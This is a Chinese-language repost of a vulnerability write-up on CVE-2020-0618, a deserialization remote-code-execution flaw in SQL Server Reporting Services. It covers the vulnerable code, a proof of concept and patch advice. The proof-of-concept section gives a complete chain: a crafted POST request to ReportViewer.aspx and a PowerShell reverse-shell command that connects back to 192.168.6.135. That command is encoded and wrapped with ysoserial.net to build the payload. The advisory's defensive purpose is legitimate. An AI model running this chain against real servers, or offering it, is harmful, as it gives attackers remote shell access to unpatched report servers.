专栏首页洛米唯熊SQL Server Reporting Services(CVE-2020-0618)中的RCE

SQL Server Reporting Services(CVE-2020-0618)中的RCE

0x00:前提概要

SQL Server Reporting Services(SSRS)提供了一组本地工具和服务,用于创建,部署和管理移动报告和分页报告.

SSRS Web应用程序中的功能允许低特权用户帐户通过利用反序列化问题在服务器上运行代码.

尽管只有授权用户才能访问该应用程序,但是最低权限(浏览器角色)足以利用此问题.

0x01:技术分析

在ReportingServicesWebServer.dll中发现了此问题.Microsoft.Reporting.WebForms.BrowserNavigationCorrectorOnLoad方法使用LosFormatter类反序列化不受信任的用户输入:

protected override void OnLoad(EventArgs e)
{
  base.OnLoad(e);
  this.EnsureChildControls();
  if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
  {
    string value = this.m_viewerViewState.Value;
    if (!string.IsNullOrEmpty(value))
    {
      LosFormatter losFormatter = new LosFormatter();
      object obj = null;
      try
      {
        obj = losFormatter.Deserialize(value)

BrowserNavigationCorrector类是使用由Microsoft.ReportingServices.WebServer.ReportViewerPage类:

protected override void OnInit(EventArgs e)
{
  base.OnInit(e);
  ReportViewerHost reportViewer = this.ReportViewer;
  reportViewer.EnableHybrid = this.ShowHybrid;
  if (reportViewer != null)
  {
    PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
    reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
    BrowserNavigationCorrector child2 = reportViewer.CreateNavigationCorrector();
    reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child2);

例如,可以通过在本地 SharePoint服务器中调用/ReportServer/pages/ReportViewer.aspx页面来触发此功能.

0x02:漏洞验证(POC)

可以将以下HTTP请求发送到服务器以利用该应用程序:

POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=

可以在PowerShell中使用以下命令来使用ysoserial.net工具生成有效负载:

ysoserial.net工具:https://github.com/pwntester/ysoserial.net
$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.6.135",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

以下屏幕截图显示了使用上面生成的有效负载发送HTTP请求后获得了反向shell:

这个问题被解决了.使用LosFormatter类时,该修补程序仅启用了MAC验证:

LosFormatter losFormatter = new LosFormatter(true, this.m_viewer.GetUserId());

0x03:修复建议

  • 在服务器上应用2020年2月补丁.应当指出,攻击者可以轻松地编码其请求,以逃避Web应用程序防火墙.因此,修补程序将是停止此漏洞的唯一可靠的选择.
  • 确保只有经过身份验证的用户才能访问该应用程序,并且匿名用户没有浏览器角色.
  • 如果您怀疑服务器已经受到威胁,除了遵循正常的事件响应过程外,请确保循环使用服务器的计算机密钥,因为即使在应用补丁程序之后,这仍然可以促进代码执行. Referer:https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/

本文分享自微信公众号 - 洛米唯熊(luomiweixiong),作者:Jaky

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-02-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Web服务器在外网能裸奔多久?

    很多时候我们轻易地把Web服务器暴露在公网上,查看一下访问日志,可以看到会收到大量的攻击请求,这个是网站开通后几个小时收到的请求:

    洛米唯熊
  • 御剑扫描套装

    一个基于VB.NET + IOCP模型开发的高效端口扫描工具,支持IP区间合并,端口区间合并,端口指纹深度探测 提供工具+类库

    洛米唯熊
  • CTF集合工具 or CTF平台

    此工具包最初是基于精灵和一个佚名大佬的工具包整理的,后来加上平时打ctf和渗透时所添加的一些工具,应当还算全面。

    洛米唯熊
  • 从一次react异步setState引发的思考

    一个异步请求,当请求返回的时候,拿到数据马上setState并把loading组件换掉,很常规的操作。但是,当那个需要setState的组件被卸载的时候(切换路...

    IMWeb前端团队
  • 从一次react异步setState引发的思考0. 前言1. 不想一个个改了2. 不想直接改3. 添加业务生命周期4. 更简单一些吧5. 让我们更疯狂一点

    一个异步请求,当请求返回的时候,拿到数据马上setState并把loading组件换掉,很常规的操作。但是,当那个需要setState的组件被卸载的时候(切换路...

    lhyt
  • 推荐 | 机器学习中的这12条经验,希望对你有所帮助

    源 | 全球人工智能 华盛顿大学 Pedro Domingos 教授的“A Few Useful Things to Know about Machine Le...

    小莹莹
  • React源码解析之React.Component()/PureComponent()

    GitHub: https://github.com/AttackXiaoJinJin/reactExplain/blob/master/react16.8.6...

    进击的小进进
  • 推荐 | 掌握这12条经验,对理解机器学习至关重要

    华盛顿大学 Pedro Domingos 教授的“A Few Useful Things to Know about Machine Learning”这篇论文...

    昱良
  • 推荐 | 机器学习中的这12条经验,希望对你有所帮助

    华盛顿大学 Pedro Domingos 教授的“A Few Useful Things to Know about Machine Learning”这篇论文...

    IT派
  • 学好机器学习必备这12条经验 !(附资料)

    本文总结了机器学习研究者和从业者的 12 个宝贵经验,包括需要避免的陷阱、需要关注的重点问题、常见问题的答案。

    数据派THU

扫码关注云+社区

领取腾讯云代金券